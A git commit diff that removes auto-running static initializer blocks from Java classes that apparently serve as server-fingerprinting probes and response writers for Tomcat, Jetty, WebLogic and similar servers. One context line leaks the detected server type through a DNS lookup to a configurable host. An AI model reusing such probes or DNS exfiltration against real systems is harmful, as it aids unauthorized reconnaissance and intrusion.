refactor: rm static block for better life

This commit is contained in:
ReaJason
2025-08-13 23:53:40 +08:00
parent 7c9d330909
commit 7e3e97d79a
52 changed files with 49 additions and 220 deletions
@@ -9,10 +9,6 @@ import java.net.InetAddress;
public class DnsLogJdk {
public static String host;
static {
new DnsLogJdk();
}
public DnsLogJdk() {
String[] jdkInfos = getJdk().split("\\|");
String[] result = new String[]{
@@ -9,10 +9,6 @@ import java.net.InetAddress;
public class DnsLogServer {
public static String host;
static {
new DnsLogServer();
}
public DnsLogServer() {
try {
InetAddress.getAllByName("serverType." + getServer().toLowerCase() + "." + host);
@@ -11,10 +11,6 @@ import java.util.Set;
*/
public class GlassFishWriter {
static {
new GlassFishWriter();
}
public GlassFishWriter() {
try {
try {
@@ -10,11 +10,6 @@ import java.lang.reflect.Method;
* @since 2025/8/5
*/
public class JettyWriter {
static {
new JettyWriter();
}
public JettyWriter() {
try {
Thread thread = Thread.currentThread();
@@ -9,10 +9,6 @@ import java.lang.reflect.Method;
* @since 2025/8/8
*/
public class ResinWriter {
static {
new ResinWriter();
}
public ResinWriter() {
try {
ClassLoader loader = Thread.currentThread().getContextClassLoader();
@@ -7,11 +7,6 @@ import java.util.List;
import java.util.Set;
public class TomcatWriter {
static {
new TomcatWriter();
}
public TomcatWriter() {
try {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -7,11 +7,6 @@ import java.util.List;
import java.util.Set;
public class TongWebWriter {
static {
new TongWebWriter();
}
public TongWebWriter() {
try {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -10,11 +10,6 @@ import java.lang.reflect.Method;
* @since 2025/8/8
*/
public class UndertowWriter {
static {
new UndertowWriter();
}
public UndertowWriter() {
try {
Thread thread = Thread.currentThread();
@@ -9,10 +9,6 @@ import java.lang.reflect.Method;
* @since 2025/8/10
*/
public class WebLogicWriter {
static {
new WebLogicWriter();
}
public WebLogicWriter() {
try {
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
@@ -11,9 +11,6 @@ import java.lang.reflect.Method;
* @since 2025/8/10
*/
public class WebSphereWriter {
static {
new WebSphereWriter();
}
public WebSphereWriter() {
try {